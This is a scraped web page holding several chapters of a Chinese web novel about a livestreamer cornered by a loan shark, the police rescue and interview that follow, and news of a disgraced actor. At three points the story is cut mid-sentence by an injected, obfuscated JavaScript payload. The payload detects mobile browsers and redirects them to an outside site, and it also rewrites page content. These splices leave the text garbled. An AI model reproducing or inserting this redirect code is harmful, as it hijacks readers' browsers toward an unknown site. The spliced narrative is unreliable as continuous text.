林见微慌忙拦道:“不用了,今天其实有点不舒服,而且公司那边也在找我,晚上还要准时直播。咱们过两天见好吗?” 陈怀顾迟疑半晌,还是问道:“你晚上还要直播?公司那边是不是为难你了,他们要是找你事,我帮你解决。” 林见微:“亲爱的不用了,我会和他们沟通好的,其实是好事,公司现在挺重视我的,许诺以后要好好培养我,平台那边也联系我了,以后可能会给我分更多的流量。” 陈怀顾明显对这些都漠不关心,只是道:“那今天晚上你下播后来我家,我去接你,咱俩好久没那个了。” 林见微胃里泛起一阵恶心,拼命压下厌恶,用此时能装出来的最雀跃的口吻道:“好啊,我晚上下播的时候给你发消息。” 挂断电话已经是中午12点,距离高源资本说的1点见面还有一个小时。 林见微根本没打算去,所以她刷了刷手机,躺在床上闭目养神。 中午一点,果然有个陌生号码打电话进来,接起后一个低沉男声语气很冲,劈头盖脸质问道:“你怎么还没到?” 林见微挑眉:“你哪位?” “高源资本,我是高总的助理章衍,你是路上堵车了么?” 林见微:“没,我说的清清楚楚,今天晚上7点面谈,怎么,你们高源资本的人不认识中文么?” 章衍的怒火顺着听筒泼了出来:“你胆子挺大,还敢和我们谈条件?!” 林见微故意没说话,停顿了一会儿直接挂了电话。 没过几秒钟那电话又打了进来,章衍直接破口大骂:“大劈叉我警告你,高源资本捏死你,比捏死一只蚂蚁还容易,你要是一个小时之内不赶过来,我们就直接走法律程序!” 说完他也直接挂了电话。 林见微冷笑了一下,翻了个身,继续闭目养神。 结果,一个小时后,章衍的电话又打了进来。 他语气低沉克制:“晚上七点哪里见?” 林见微微微一笑:“我家。” 章衍:“家庭住址报上来。” 林见微:“你们既然能查到我住在京南市,查到我的手机号,就查不到我家住址吗?” 章衍咬牙切齿,但碍于理智还是一字一顿道:“京南市落拓区海阴路28号3单元2楼西户,对吗?” 林见微:“晚7点,就在这个地方,不见不散。” 14.十四 时间很快来到周日晚上6点半。 虽然太阳已经落山,但空气里仍然浮动着燥热,老式空调转动发出低声嗡鸣,天花板上的吊扇也吱哑转着。 林见微没有开灯,夕阳余晖透过窗子渗了进来,满屋的暗红色里隐隐可以看到打包装箱好的大小行李。 屋子里一片寂静,楼上又响起了来回走动和做饭的声响,透过墙壁能听到隔壁一个中年女人在训孩子为什么不好好写作业。 墙壁上的挂钟嘀嗒作响,每一秒钟都显得格外漫长。 这时,房门口传来一阵急促敲门声。 林见微原本抱着双膝坐在床上,此时身子一颤,屏住呼吸,小心翼翼地赤足走到门口,隔着猫眼向外看去—— 王二年光溜溜的脑袋杵在那里,一脸焦急。 林见微稍稍舒了口气,打开反锁的门,探头问道:“您怎么来了?” 王二年见她看着不像受伤的样子,说话也正常,心里的石头暂时落地。 “我……我就来看看你怎么样。” 林见微戒备地看了看他身后——他确实是一个人来的。 然而她仍不敢放松警惕,只是催道:“您快走吧,一会儿齐哥就来收债了。” 王二年隔着门缝看到了屋内打包好的大包小包的行李,不自觉咽了口吐沫。 他舔了舔嘴唇,犹豫再三还是问道:“劈叉姑娘,现在跑路是不是太晚了?” 林见微笑了笑:“我确实准备走了,本来打算微信上告诉您的,我想退租了,这两天就搬到别的地方去。” 王二年狐疑地瞧着她,心想:不会是要搬到一个叫做天国的地方吧。 努力压下一切震惊和疑虑,他挠了挠光光的脑门,最终还是压下一切疑问,只是简单地说: “行,那祝你好运啊,路上慢点。” 慢走不送。 王二年转身的那一刻,殷红的夕阳透过老式楼道的窗子洒在他脸上,楼道里浑浊的空气好像有了重量,沉沉地坠了下来。 王二年只觉得有什么东西紧压在胸腔,令他喘不过气。 下一秒他就意识到了什么—— 一串沉重的脚步声从楼道口响起。 咚、咚、咚。 有人在上楼。 王二年呼吸一滞,胸闷的感觉愈发强烈。 他几乎可以断定,来的人是收高利贷的齐飞虎。 他猛地回头,只见幽暗的楼道里,门后林见微那张脸显得格外瘦小苍白。 几秒钟后,齐飞虎的那张覆满横肉的脸阴沉地出现在二人面前。 他在王二年面前站住脚步,低沉扫了他一眼,然后仰头看向林见微。 威压十足的目光下,林见微的脸似乎向后缩了一下,眼底也闪过一片畏惧。 他来早了。 比她需要他来的时间早了一刻钟。 大劈叉每天晚上雷打不动七点直播,三天前齐飞虎来的时候大概是七点一刻。 当时齐飞虎说,同一时间同一地点他来收钱。 可现在只有六点四十五,七点差一刻。 差了一刻钟,却差了千里。 是生与死的距离。 林见微嗓子发紧,一股冷气自脚底而起,顺着脊背一路向上。 攥着门把手的手掌心冒出一层冷汗。 她艰难地吞咽一下,尽量平静地说:“齐哥,你来了。” 齐飞虎没回应,只是转头紧紧盯着一脸惊恐的王二年。 王二年距离齐飞虎不足10厘米,能清晰地看到一切细节: 那双豹眼闪着异样光芒,透着嗜血和疯狂,身上T恤领口似乎浸着血迹,异常健硕发达的肱二头肌和挺起的胸肌似乎在无声地叫嚣着什么。 血红的夕阳将二人笼罩其中,王二年心底泛起绝望,他唯唯诺诺地点了个头,然后逃也似的离开了。 随着王二年的遁逃,齐哥的目光固定在躲在门缝里的林见微的脸上。 那目光犹如黑洞洞的枪口,十字准星不偏不倚地瞄准在林见微眉心。 迎着林见微略带怯懦的目光,齐哥沉沉吐出几个字:“一个亿,拿来。” 在齐哥看不见的地方,林见微布满冷汗的手紧紧攥住冰凉的门把,停了片刻后她说:“我……我还需要再给我朋友打个电话,你能稍等一下吗?” 齐哥的目光变得更加阴沉,他迈步走上台阶,径直走到林见微门前。 盯着林见微那张苍白瘦削的脸,他嗓音低哑地说:“没钱,是吗?” 林见微摇头:“不不,你让我打个电话……我就在你面前打。” 齐哥仔细端详着林见微的表情,然后露出一个瘆人的笑,仿佛准备好猎食的猛兽对着猎物露出青森獠牙。 他比林见微高两头,站在她对面,高大的阴影将林见微完全笼住,他说:“你是不是在等高翔的人?” 砰。 林见微仿佛听见了无声的枪响,而她自己则应声倒地,身下迅速铺开一滩血迹。 她听见自己用颤抖的声音问道:“你说什么?” 齐哥再次露出那副瘆人的笑容,一字一顿道:“那些人已经被我制服了,就在刚刚,你家楼下。” 林见微的心脏好似被人狠狠抓住又用力捏碎,此刻她已经不知道自己是什么感觉,只感到一股寒意爬满全身。 她打了个激灵,不知道自己在重复刚刚的问话:“你……你说什么?” 齐哥低下头,满是横肉的脸压了下来,林见微可以清楚看到他的鼻翼随着喘气而微微扇动。 “我看了你的直播。” “你约高翔今晚7点面谈,而我们的约定期限也是今晚7点。” “所以,你想让我们两伙人碰面,再居中挑唆,引我们火并,你自己逃之夭夭。” “我说的对吗,韦盏?” 说着,齐哥铁钳大手扒住大门边沿,然后向后一拽! 林见微发出一声惊呼,贴着门的身子向前摔去,齐哥一手拎住她后背衣服向上一提,然后向里一推! 林见微重重摔在地上,胳膊碰到了一旁的架子,本就歪扭的木板立刻散架,连同上面的东西一起轰然散落。 齐飞虎鼻孔喷着粗气走进屋内,反手将门砰地摔上。 林见微挣扎支起上半身,面朝齐飞虎,手肘撑地向后惊慌退去。 慌乱中,她的胳膊肘碰到了散落在地上的东西,那是她的身份证件和一沓文件。 齐哥眯着眼睛看着她惊恐万分的反应,既而打量了一屋子打包好了的行李。 满地狼藉,一如这个女人的一辈子。 他收回目光,冲林见微低吼:“所以你没钱还债,对吗?” 林见微挣扎道:“我,我有钱,不是一个亿,但也有一千万,你拿去,剩下的我再想办法……” 齐哥耐心耗尽,懒得和她再纠缠下去。三天前她信誓旦旦地保证今天一定能补全欠款,结果今天还不是和往常一样推诿赖账? 他不可能再信她一次,而且之后的滚雪球效应只会越来越可怕,再不结果这件事,债务真的会变成天文数字。 他大踏步上前,俯身盯着正想惊慌向后逃脱的林见微,捉住她的一条腿。 齐哥的手臂足有林见微大腿那么粗,他沉沉看着林见微,她脸上正露出那副他见惯了的走投无路的绝望神情。 “那就没有办法了,这辈子的账只能欠到这里了。” 齐哥声音不大,但每一个字都如锋利匕首一样狠狠捅进林见微的心脏。 她大口喘着气,泪眼朦胧哀求地看着齐哥,好似一条脱水的鱼在做垂死挣扎: “齐哥,求求你,我最近的直播真的很有起色,公司说我前途不可限量,你再给我一些时间,等我出名了,一定有钱还你。” 齐哥呵呵冷笑两声,捉住她小腿的手向后一拉,林见微顺势滑到他身前,他抬手扼住她白皙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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此时他手臂绷直举着枪,眉头深拧冲着齐哥大吼:“别冲动,别伤害她!” 齐哥手里的匕首又近了几许,锋利的刀尖抵在林见微吹弹可破的肌肤上,近乎嘶吼地大叫:“都退出去!不然就等着给她收尸!” 小孙警官明显有些慌,他警龄不长,从没遇到过类似场景,此时只能一边应着一边骂骂咧咧地往后退。 这时,他身后又闪出来一人,是那天坐他旁边,向林见微问话的那位年老警官祁大年。 他拍了拍小孙警官的肩,后者会意,稍稍侧身,让他走到屋内。 祁大年身上带着不言自威的气势,他微笑着看着齐哥,目光里闪着亲和: “齐飞虎,好久不见。” 不知是不是错觉,林见微觉得齐哥的身子轻颤了一下。 但随即他胳膊加大力度,林见微脖子上的压迫感急剧增加,她近乎无法呼吸,视线又开始涣散。 身后齐哥低沉怒吼:“祁大年,你来这里干什么!” 祁大年微笑地看着他,镜片边沿反着锐利的光:“我们接到群众举报,说这里发生了持械伤人事件。” “齐飞虎,你是一个聪明人,所以我给你分析一下现在的局势。” “你可以选择和我们顽抗到底,这样的话大概率你会杀死这个无辜的女孩子,然后我身后的这位小孙警官会立刻将你击毙。” “当然,你可能自负身手好,觉得还能最后放手一搏,把我撂倒后跳窗逃走。” “但你距离窗户有将近十米的距离,而小孙警官的子弹射出来只需不到一秒钟,所以你算一算,选择这条路活下来的概率究竟有多大?” “或者,你可以选择现在放开那个女孩,跟我们走,咱们好好聊聊。” “你已经犯了持械伤人的罪,但如果你能仔仔细细把事情交待清楚,比如,是谁让你来催收高利贷,他们的组织里还有什么人,你还有很大希望可以争取减刑,从轻处理。” “留得青山在不愁没柴烧,你想想?” 15.十五 齐飞虎站在原地,有至少十秒钟没有说话。 老式空调发出低声嗡鸣,天花板上的吊扇吱哑旋转,屋内安静一片,隐约可以听到室外空调外机向下滴水的声音。 时间突然变得无比缓慢,林见微涣散的目光里,墙壁挂钟的秒针仿佛步履蹒跚的老人,每走一步都尽了全部力气。 不知过了多久,就在林见微以为匕首即将刺入喉管,她要告别大劈叉的人生时,齐飞虎终于开了口,声音喑哑: “你保证会帮我申请减刑?” 祁大年连连点头:“当然,只要你积极配合我们调查,我保证给你争取最大的机会。” 齐飞虎目光如刃,死死钉在祁大年脸上,不肯放过一丝一毫的表情微动。 室内再次陷入一片沉默,所有人连眼睛都不敢眨,目光如笼围住齐飞虎。 又过了不知多久,齐飞虎终于卸了力,压在林见微脖颈上的手臂一松—— 林见微如释重负地砸向地面,与此同时齐飞虎双手慢慢抬起,举到脸颊两侧。 不待祁大年下令,后面的小孙警官一个箭步飞跑到齐飞虎身前,抬起膝盖对着齐飞虎的肚子猛地一顶! 齐飞虎吃痛大叫,小孙警官不待他反应过来,反手勾住他拿着匕首的手臂,喀拉用力向下一掰—— 与此同时手里变出一副手铐,咔嚓锁在他手腕上,又将齐飞虎另一只手反剪过来利落铐上。 齐飞虎喘着粗气双膝跪地。 一旁早有一个女警官将林见微从地板上拉走,祁大年走到齐飞虎身前,给了小孙警官一个眼神。 小孙警官会意,揪住齐飞虎衣领往上扯。 小孙警官看着瘦瘦高高的,但臂力惊人,就那样扯了一下,齐飞虎竟双膝离地,摇摇晃晃站了起来。 祁大年冲齐飞虎笑道:“睿智的选择,走吧,跟我们回所里。” 说完,又给一旁那位女警官一个眼神。 她是派出所里为数不多的女警官,大家都管她叫魏姐,一般出现在有女受害人的场合。 此时魏姐架起林见微,一步一步往门口走去。 二十分钟后,林见微又回到了那个两天前第一次见到小孙警官和祁大年的屋子。 此时的她已经缓过来了大半,刚刚魏姐已经找人给她大致检查了一下,除了受了点惊吓脖子上有些红肿之外没大事,身上筋骨都完好无损。 林见微披着魏姐找来的毛毯,端着魏姐从饮水机里接的水,仰头吨吨吨猛灌下去。 之后她要回了自己的手机,在魏姐的注视下,给陈怀顾发了条消息: [出了点事,在警察局,今晚不能去你那里了,结束后我给你细说。] 发完消息,她直接摁了静音,将手机交还给魏姐。 魏姐接过手机,眼睛却盯着林见微的脸:“男朋友?” 林见微摇头:“不,就是一个看我直播的观众。” 魏姐一副欲言又止的样子,犹豫片刻还是轻叹口气,将手机收回。 做完一切,祁大年和小孙警官一前一后进来了,和魏姐交换一个眼神。 魏姐无声地迅速离开,祁大年和小孙警官在林见微对面坐了下来。 三个人的位置一如两天前见面时的那样。 房间里的空调开得很足,林见微缩在毛毯下面依然在发抖,祁大年看着她的目光有些复杂: “需不需要再给你来一件毯子?” 林见微摇头,声音微微发颤:“不用了,咱们开始吧。” 祁大年淡淡点点头:“好,那我们就问你一些问题,你要如实回答。” 之后祁大年和小孙警官接连询问了她为什么敢和齐飞虎定下三天之约,又为什么找上高翔,她声称的视频证据又是什么。 林见微基本都照实答了。 其实她在宣战贴里说的“我有视频”是虚张声势。她为了引高翔上钩,在网上搜了好些关于他的周边新闻。 功夫不负有心人,在海量的信息里,她在微博上看到有个人发布了一条视频,声称上面记录了高翔极其手下兄弟在酒局上骚扰女性的全过程。 虽然视频有些模糊,看上去明显是偷拍,几乎看不清楚那几个人的脸。 但林见微对高翔实在太熟悉了,他化成灰她也能认得,所以她一下子就认出,那些高糊的人像中有一个是高翔。 视频虽然未必能作为证据,足可以震慑住高翔。 她把这一切都告诉了小孙警官和祁大年。 然而虽然她答得坦诚,但他们好像无论如何也不愿相信她说的话,一个劲地刨根问底,眼底闪着的狐疑也越来越浓烈。 这也不怪他们,毕竟很多事情实在太过有违常理。 比如,一个常年好吃懒□□慕虚荣的女主播怎么就突然变得雄心勃勃,不要命了似的发展直播事业。 再比如,大劈叉光拿下初中毕业证就花了好大力气,高中时又因为脑子不灵光怎么也学不会就干脆退学进入社会了。 这样的一个精神小妹,怎么有能力下这么大一盘棋,甚至敢把高翔和齐天虎这样的人物作为棋子? 一切都显得匪夷所思,问询过程中祁大年和小孙警官的脸色越来越沉,语气也变得强硬。 中间小孙警官抛出一个问题:“韦盏,你知道我们今晚在你家楼下发现了什么吗?” 林见微茫然看着他。她已经把所有知道的事都如实交待了,那些不甚清楚的地方她也尽力解释了,可他们怎么就不愿相信呢。 看着林见微无奈迷茫的神情,小孙警官叹口气,手指敲击桌子发出清脆声响: “在距离你家楼栋不远处的一处草坪上,我们发现了几摊血迹,几把带血的刀,还有明显的打斗痕迹。” “我们调取了监控,看到齐飞虎从晚上6点开始就一直在草丛附近蹲守。” “6点半左右一辆越野车开了进来,五个精壮小伙下车,但没走几步,就被从一旁飞扑过来的齐飞虎扑倒,随后几个人发生了激烈冲突。” “高翔那边的五个人个个都是练家子,还带着刀,但最后都被齐飞虎团灭了,嚎着叫着跳上车逃了。” “所以,”小孙警官身子前倾,表情严肃地望着林见微,“你知道如果今晚我们不出现,等待你的是什么吗?” 林见微躲在毛毯下的身子又颤了几颤,脑海中已经出现了那个狭小昏暗的屋子里,自己被齐飞虎刺穿喉咙,倒在血泊之中的场景。 她艰难地强迫自己和小孙警官对视,嘴唇动了几下却没有声音发出来。 今晚的事是她想简单了。她不知道自己陷入了多么深的虎口之中。 小孙警官微叹口气,眼前这个女孩子其实也挺可怜的,很小的时候家庭就分崩离析,还没成年就步入社会,没人教她处事常识。 他望着林见微的神情轻声问道:“你明明已经打包好行李了,为什么没有提前逃走呢?你在等什么?” 林见微眨眨眼,如实道:“我准备今晚过后就搬家,房东那边我也打好了招呼,结清了房费,不信你们可以去问他。” 小孙警官:“搬到哪里去?” 林见微摇摇头:“还没想好,我打算今晚先找个酒店住下,明天开始找房子。” 一直默默注视着一切的祁大年问道:“你有钱租新房吗?” 林见微咬唇道:“有,我最近几年也有攒下来一点积蓄,不多,但是够租一个小屋子了。我想换地方是因为之前住的地方有太多不好的回忆了,所以才想换换环境。” 祁大年的目光锐利地透过镜片,投到林见微脸上,不放过任何一丝表情变化。 过了半晌他才缓声说:“韦盏,我们很早就认识你了,也算看着你一路长起来的,所以跟你多说几句。” “你做的主播这个行业,运气好的时候来钱会很快。但是,不是所有的时候你都能侥幸逃脱,也不是所有的钱都来路干净。” “你好好想想这句话,钱是要通过正当途径获取的,一旦你动了走捷径的心,就一定会把自己绕进去。” 祁大年说得意味深长,林见微听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413248|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得明白,他一定是以为她挣了什么擦边的钱,或者傍上了哪个金主爸爸。 她抬起头,想告诉祁大年她的钱都是干净的,但话到嘴边又咽了下去。 祁大年是不会理解这一切的。 祁大年仔细端详她的神情,突然道:“韦盏,你知道我们国家规定,年利率36%以上的借贷合同为无效合同吗?” 林见微猛然一惊,摇摇头。 祁大年:“虽然我们总说欠债还钱,天经地义,但并不是所有的欠款都要还的,尤其是利率高得离谱的高利贷。” “国家法律规定,借贷双方约定利率如果超过年利率36%,超过的部分视为无效。” “所以,你原始借款10万,只需要还13万6千。这个你明白吗?” 林见微点头,又摇头:“可是齐飞虎已经被你们抓起来了,我上哪儿还钱?” 祁大年心里惊讶她好像真的掏的出这么多钱,但表面上不动声色:“我们会调查清楚他的老板是谁,等我们掌握了情况,到时候通知你。” 林见微:“好。” 问询又进行了一段时间,但小孙警官和祁大年都没获得什么新的有用信息,他们见林见微态度诚恳,并没有想刻意隐瞒什么,所以对视一眼,觉得今晚就到这里了。 就在小孙警官整理笔记的时候,祁大年问林见微:“韦盏,你知道今晚我们是怎么得到风声的吗?” 林见微本来已经缩回到毛毯底下,空调开得太足,她今晚经历了太多,而且一直没来得及吃饭,所以现在又冷又饿。 听到祁大年的问话,她抬起眼茫然摇头。 祁大年看了她好半晌才缓缓说:“和上一次一样,是你姐姐给我们打的电话。” 林见微讶异地看回去,轻声“啊”了一下。 小孙警官补道:“她应该是看了你的直播,还有发布的帖子,觉察到这里面有危险,第一时间联系了我们。” 林见微不知该说什么好,她和她姐姐韦宁早就形同陌路,而且上一次祁大年劝诫她之后,她也并没给韦宁发消息表示感谢。 祁大年站起身——小孙警官也赶忙站起——这意味着问询正式结束,祁大年临出门前看了一眼林见微。 “回去等我们的消息,最近能不出门就不出门,吃饭买东西什么的尽量叫外卖。” “还有,你别忘了和你姐姐打个电话。” 林见微点头答应,祁大年和小孙警官出门后,魏姐走了进来,看着她那张仍然苍白的脸:“一会儿怎么回去?” 林见微将毛毯卸下,叠好还给魏姐,微笑着说:“我自己打车回去。” 魏姐接过毛毯,贴心地跟她一起走到警局门口,看着她上了网约车才回去。 网约车直接将她送到提前订好的酒店,就在附近,离市中心不远,三星级,价格不算太贵。 这里人多车多,对她现在的状况来说比较安全。 她打算明天白天再回家取行李,今晚就先对付一下。 刷卡进了房间,一见到床她就一下子瘫了上去,这辈子从未觉得床有那么柔软温暖过。 此刻她已经疲惫至极,哈欠连天,两眼几乎睁不开。 蹬掉鞋子胡乱躺进被窝后,她还是强撑着看了看未读消息。 有两个来自心怀虚谷的未接来电,还有他的未读消息: [警察局?你犯事了???] [别吓我,你犯什么事了?] [我听说你们平台最近对擦边内容加强了监管,是不是波及到你了??] 林见微心底泛起一股无奈,迅速切了出去,心想天大的事也等她睡醒再说。 就在她打算关闭微信的时候,突然看到“潜力新人主播6群”有好多条新消息。 鬼使神差地她点了进去,然后看到早上的“潜力新人主播6群(493)”已经变成了“潜力新人主播6群(494)”。 越过一众未读消息来到最上面一条,上面赫然是一条系统公告: 演员时闻加入群聊。 16.十六 林见微的睡意一下子消散了一大半,她盯着“演员时闻”四个字,瞳孔放大,不自禁地喊了出来:“什么??” 她点进时闻的头像——那是一个布置温馨的书房,深棕色木质书架上摆满各色的书,前方还有的写字桌上摆着墨绿色小台灯,温暖光芒铺满整个房间。 整个房间暖意融融,林见微脑海中瞬间浮现出一副场面—— 数九隆冬,窗外雪花漫天,室内壁炉烧得正旺,时闻穿着深灰色家居服,戴着黑框眼镜,悠闲慵懒半躺在扶手椅上,一手捧书一手端茶,壁炉的火光跳跃在他认真专注的侧脸上。 一切都是她的想象,但她直觉上觉得时闻私底下就是这么个人。 她退出头像,点开他的朋友圈—— 一道灰线,下面写着仅三天可见。 他的封面背景是简单的蓝天白云大草地,林见微觉得他很可能是找到了windows早期的经典壁纸,直接粘贴过来。 很老干部,很时闻。 如果她不认识时闻,单凭微信头像和背景风格,会觉得这是个平时不怎么上网的老大爷。 她点进群聊,仔仔细细读了300多条未读消息,又上了微博搜了热搜,去了香蕉直播阅读了系统公告,才拼凑出发生了什么。 她这两天忙直播的事忙疯了,竟然没有看到之前的一条新闻热搜。 《风华绝代》首映礼之后的某一天,各大媒体突然爆出了一条新闻:演员时闻醉酒后当街打人。 微博上疯传着一段视频,时闻从车里下来,脚步摇晃明显有些醉意。 他冲上前朝几个人挥着拳头扑去,接下来镜头晃动得厉害,模糊能看到几个人扭打在一起。 发生的时间恰好在林见微在警局偶遇他之前一晚。 林见微一下子恍然大悟。 他去警局,多半是因为这则新闻。 但时闻这个人向来温和恭谦,待人接物彬彬有礼,怎么会做出醉酒后当街群殴的事? 实在是匪夷所思。 事情闹得沸沸扬扬,时闻原本就没多少粉丝,现在这么一折腾,粉丝数大跌,路人粉也掉得厉害。 事情发生后不久,时闻所在的新锐传媒发布声明:将加大对旗下艺人的监督,对劣迹艺人零容忍。 这下相当于做实了时闻酒后打人的事情。 没过几小时,几个品牌方陆续宣布和时闻解约,又过了一天,公司宣布时闻将加入香蕉直播。 现如今随着直播平台的崛起,许多演艺明星陆续入驻各类平台,这不是什么稀奇的事。 但时闻这个山顶洞人,平时连微博都懒得营业,常常连续几个月都没有动态。 这样的一个人,现在要在直播平台被迫营业,实在是凄惨。 微博、各大直播平台、微信朋友圈今天都在刷这件事情,不少理性分析帖,但也不乏冷嘲热讽的议论: [呵,又一个208塌房了,鼓掌] [要不是因为丑闻,我根本就不知道有时闻这一号人] [在娱乐圈混不下去了,就来直播圈圈钱?现在对劣迹艺人这么宽容吗?有没有人管一管啊喂] 林见微蹙着眉看完了所有能找到的评论,心里五味杂陈。 按理说时闻作为时墨集团的二少爷,本不该混到如此地步的。但时家关系复杂,时闻和时穆飞关系极差,很多年都不来往,但时家大权都掌握在时穆飞手中。 所以也就不难理解,为什么时闻在圈内混了这么久,也一直没太大起色,出事后不仅没人兜底,反而被落井下石。 大家都去舔时穆飞了,把时闻作为献祭品。 她想起他那副永远淡然冷漠的神态,心里莫名有些难过。 困意再次汹涌袭来,林见微放下手机关上灯,下一秒就跌入深深的沉睡。 第二天醒来时,她的头有些昏沉。 习惯性摁下手机屏,却发现手机已经没电了。她不知道现在是几点钟。 又在床上懒了一会儿,她爬起来,打开窗帘,打着哈欠看着窗外的车水马龙人来人往。 窗外的巨幅电子广告牌上写着时间:下午1点12分。 林见微这才意识到她已经睡了将近12小时。 拖着略显昏沉的头,林见微走进洗手间,撕开一次性洗漱用品,迅速完成了刷牙洗脸。 因为昨晚是和衣而睡,她没换衣服就直接出门坐上地铁,回到之前的住处,几个往返把行李都运到了酒店。 手机充电器是她从行李中取出的第一样东西,充电器一头连上插头,一头接入手机,屏幕亮起后林见微找出换洗衣服,走进浴室冲了个澡。 洗去一身燥热,毛巾包着头发走出来后,她发现手机又双叒叕被信息轰炸了。 最顶上的是陈怀顾发来的消息:[???] 这条消息是三个多小时前发过来的。 她拍了下脑袋,昨晚太累睡得太死,一醒来忘了这茬了。 她赶紧回道:[没事,刚睡醒,你在忙吗?] 过了十几分钟陈怀顾直接打电话过来,接起来的时候,他的声音显得疲惫沙哑。 “你出什么事了,昨晚为什么进警局了?” 林见微搬出之前编好的理由:“我们这边有几个擦边主播尺度太大被举报了,闹得挺大,警察叔叔突击找了好几个人问情况。” 陈怀顾“哦”了一声,没做评论。 接着他说:“我这两天挺忙的,一直在医院里忙来忙去的,每天迎来送往的,下周还要进组拍戏。” 说着,他长长出了口气,好像在抒发心中万般怨气:“也不知道这些人天天往医院跑什么跑,不嫌折腾!” 林见微安慰道:“宝宝你辛苦了!都有谁来过?林见微醒了吗?” 陈怀顾:“林见微没醒,但是暂时脱离了生命危险。这辈子估计就是个挂在呼吸机上的植物人了。” “她的那个好闺蜜,尤有芒,每天雷打不动,早上七八点就过来了,每次来的时候还带一束鲜花,放在她床头。” “之后她就坐在林见微旁边,拉着她的手说话,说这样能尽快唤醒病人。” “我说你这大概率是徒劳无功的,别耽误功夫了,早点回剧组拍戏吧,结果她白眼都翻天上去了,大骂我不是东西。” “还有那个时闻,都风口浪尖上的人了,自身难保,也不避嫌,非往这边跑。” “他和尤有芒一个晚上来,一个早上来,害我早晚不得安生,烦死了!” “林见微那个经纪人,严天寒,也跑过来几次,但每次待的时间不长,十几分钟就走了。” 林见微心里暖融融的,原来这世间还有许多人惦记她。 尤有芒和严天寒过去看她,这不意外,尤有芒和她相识于微时,一起经历过没戏拍、被换角等各种心酸。 严天寒是她的经纪人,林见微出事了,她自然应该去看一看,毕竟外面各种谣言满天飞,微博上每天都有人造谣说她已经死了。 但是时闻……他为什么要去? 这时陈怀顾又说:“我最近可能没太多时间陪你了,这周在医院忙得脚不着地,下周又要进组,唉。” 林见微立刻贴心地说:“没关系,你工作重要!进什么组啊?” 陈怀顾:“唉别提了,这次要和蔡芊艺那个霸王花搭档,片名叫做《女王再疼我一次》。” 蔡芊艺就是那个和她一起演《风华绝代》的女演员,两家粉丝还因此撕过番。 林见微立刻产生了好奇,之前没听说陈怀顾最近有戏约,怎么突然就要进组了? “有工作不是挺好的,这次演什么角色啊?” 陈怀顾:“是男一号,但是……你听听这片名,就知道是什么人设了,蔡大小姐演高高在上的职场女王,而我是卑微牛马舔狗,唉,这不是让我戏里戏外都憋屈死吗。” 林见微暗中偷笑,蔡芊艺娱乐圈霸王花的名头可不是白来的,她天怼天怼地怼空气,就连剧组的狗都绕着她走。 陈怀顾摊上这么一个活儿,真是倒霉催的。 林见微安慰道:“抱抱你。蔡芊艺那不是出了名的娱乐圈霸王花吗?你好可怜,心疼你一秒钟嘤嘤嘤。” 陈怀顾哀叹一声:“唉可不是吗,经纪人那边也催得紧,这工作是临时安排的,时间紧任务重,工作量和工作强度比平时要高好多倍。” 林见微:“怎么能这样对待我的宝贝啊,经纪人太坏了!” 陈怀顾:“其实也不怪他们,听说新锐那边好像也在筹拍一部类似题材的剧,预计上映时间和我们的冲突了,所以公司为了提前上映,就让我们加班加点,唉。” 他这么一说,林见微恍然大悟: 乐盛和新锐都是行业龙头老大,已经互掐了很久了,你筹拍新剧,我就筹拍新电影,你签国民小花艺人甲,我就签国民弟弟艺人乙。 现在新锐筹拍一部类似题材的剧,乐盛自然不甘落后,马不停蹄地要拍摄同类型的剧。 林见微:“原来如此,新锐娱乐太坏了,黑心公司!他们是东施效颦而已,肯定扑街,因为有你在的剧才是好剧啊。” 陈怀顾这次是真心地笑了:“哈哈,谢谢宝宝的鼓励!对了,我有件事想问你,今晚有空吗,能不能陪我去个饭局?” 林见微十分犹豫:“我……我本来想晚上直播来着……” 陈怀顾:“直播有什么意思,跟我出来吃饭吧,晚上来的都是大佬,保你不会后悔。” 林见微:“是演艺圈的朋友们?” 陈怀顾:“也不是,就是普通朋友聚会。” 林见微实在是不想去,但想来想去也没有拒绝理由,只得硬着头皮应道:“哦哦这样,那你晚上来我家接我吧,还有,你明天也能陪我去个派对吗?” 陈怀顾皱眉:“我最近很忙啊,你明天要去什么派对?” 林见微:“还是跟麦乐鸡她们,具体时间地点我到时候告诉你。” 听筒对面传来一阵吵闹,似乎是有什么人在叫陈怀顾,陈怀顾应了一声,再次说话时语速很快:“今天晚上我6点去你家接你。” 挂断电话,林见微盯着屏幕,望着那个既熟悉又陌生的头像,发呆了许久。 也许是最近几年事业大火工作太忙, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417086|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间过得飞快,林见微记忆中的陈怀顾一直停留在他们刚刚认识的时候。 那时他们还都是十八线小透明,每天都经历备戏、试戏、被拒、再备戏的死循环。 《烟雨半生》是他们得到的第一个机会,这部戏由知名编剧柳叶刀操刀,导演文眉也是业内知名女导演,非常擅长拍摄细腻的感情戏,摄影和服化道团队也都是业内的王牌团队。 但就是这么一个王炸班底,大胆启用了一批新人演员,戏里百分之九十的演员都是像林见微这种没名气没背景但有实力的人。 据说这是因为《烟雨半生》的主要投资方,相逢影视,点名要导演文眉启用新人,还扬言决不允许使用关系户。 